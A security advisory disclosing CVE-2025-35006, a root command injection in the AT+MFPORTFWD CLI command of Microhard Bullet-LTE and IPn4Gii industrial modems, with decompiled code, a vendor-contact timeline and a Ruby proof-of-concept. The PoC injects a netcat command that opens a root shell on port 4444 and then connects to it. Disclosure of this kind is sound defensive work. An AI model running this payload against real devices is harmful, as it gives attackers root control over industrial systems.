I​CVE-2025-35006: Microhard Bullet-LTE and IPn4Gii AT+MFPORTFWD Argument Injection

AHA! has discovered an issue with multiple Microhard products, and is issuing this disclosure in accordance with AHA!’s standard disclosure policy on June 8, 2025. CVE-2025-35006 has been assigned to this issue.

Any questions about this disclosure should be directed to [email protected].

Executive Summary#

Products that incorporate the Microhard BulletLTE-NA2 and IPn4Gii-NA2 are vulnerable to a post-authentication command injection issue that can lead to privilege escalation. This is an instance of CWE-88, “Improper Neutralization of Argument Delimiters in a Command (‘Argument Injection’),” and is estimated as a CVSS 7.1.

Technical Details#

A command injection vulnerability exists within the AT+MFPORTFWD command in the restricted CLI interface of multiple Microhard products. Authentication is required to exploit this vulnerability in that you must have a user account to access the CLI via telnet. However, the service is running as root, so injecting commands allows an attacker to escape the restricted shell and elevate privileges for full access.

The firmware for affected devices contains the binary /bin/clitest, which handles the restricted CLI interface. It is reachable via telnet or ssh connection. It allows the user to run certain config commands as well as AT+ commands to interact with the Quectel modem. One of these AT+ commands is AT+MFPORTFWD which is used for querying/configuring the firewall port forwarding rules. User input supplied to the cmd_firewall_port_forwarding() function in param_3 and is used as an argument for the /etc/m_cli/atcmd_sh_firewall.sh script which is called via popen():

undefined4 cmd_firewall_port_forwarding(undefined4 param_1,undefined4 param_2,char **param_3,int param_4)
{
	...
          else if (param_4 == 9) {
            iVar3 = strcasecmp(acStack_1e7c,"ADD");
            if (iVar3 == 0) {
              sprintf(acStack_1cfc,"sh /etc/m_cli/atcmd_sh_firewall.sh portfwd_check_name %s",
                      acStack_1ebc);
              iVar3 = FUN_0000e9a0(param_1,acStack_1cfc,acStack_1c7c,0x100);
              if ((iVar3 == 0) || (iVar3 = strcmp(acStack_1c7c,"OK"), iVar3 != 0))
              goto LAB_0002832c;
            }
	...
}

size_t FUN_0000e9a0(undefined4 param_1,char *param_2,void *param_3,size_t param_4)
{
  FILE *__stream;
  char *__s;
  size_t sVar1;
  
  __stream = popen(param_2,"r");
  if (__stream != (FILE *)0x0) {
    memset(param_3,0,param_4);
    fread(param_3,1,param_4,__stream);
    pclose(__stream);
    __s = (char *)trimwhitespace(param_3);
    sVar1 = strlen(__s);
    return sVar1;
  }
  cli_print(param_1,"ERROR: Failed to run script");
  return 0;
}

If an attacker wraps input to the AT+MFPORTFWD command in $() (dollar-parentheses) or backticks (which are tricky to render in Markdown!) they can put whatever command they want and it will be run as the root user. Note that spaces are not allowed, so $IFS must be used instead for space-delimited arguments for the command payload.

The Ruby script below effectively demonstrates an attack using CVE-2025-35006 as a proof-of-concept:

#!/usr/bin/env ruby
require 'net/telnet'
require 'io/console'

if !ARGV[0]
  puts "usage: #{$0} <ip> [<username> <password>]"
  exit(1)
end

target = ARGV[0]
if ARGV[1] && ARGV[2]
  user = ARGV[1]
  pass = ARGV[2]
else
  printf("user: ")
  user = STDIN.gets.chomp
  printf("pass: ")
  pass = STDIN.noecho(&:gets).chomp
  puts ""
end

telnet = Net::Telnet::new("Host" => target, "Timeout" => 2, "Prompt" => /^\w+>/)
telnet.login(user,pass) {|c| print c}
begin
  telnet.cmd("at+mfportfwd=`nc$IFS-lvp$IFS\\4444$IFS-e$IFS/bin/sh$IFS-i`") {|c| print c}
rescue
  puts "shell spawned on #{ARGV[0]}:4444"
  pid = spawn("nc -v #{ARGV[0]} 4444")
  Process.wait pid
end

telnet.close

Attacker Value#

If an attacker has a valid credential to the affected Microhard device, and the means to login (for example, over telnet), that attacker can leverage this vulnerability to escape the restricted shell and elevate privileges to root. Industrial control systems (ICS) are often deployed with easy to guess or default credentials, which could be used in conjunction with CVE-2025-35006 to achieve complete, root-level remote control over affected devices.

Credit#

This vulnerability was discovered and documented by Ricky “HeadlessZeke” Lawshae of Keysight.

Timeline#

  • 2025-03-27 (Thu): Presented at regularly scheduled AHA! meeting 0x00df
  • 2025-04-02 (Wed): Contact initiated to several guessed email aliases, such as [email protected], [email protected], etc.
  • 2025-04-02 (Wed): Bounces collected from media@, press@, security@, and secure@. No bounce notification was generated from info@ and support@, though a customer account was required to further communicate with support@, which AHA! does not have.
  • 2025 (April and May): No further communication from the vendor was received.
  • 2025-06-08 (Sun): Verified current IPn4Gii/BulletLTE firmware remains at v1.2.0-r1132
  • 2025-06-08 (Sun): Public disclosure of CVE-2025-35006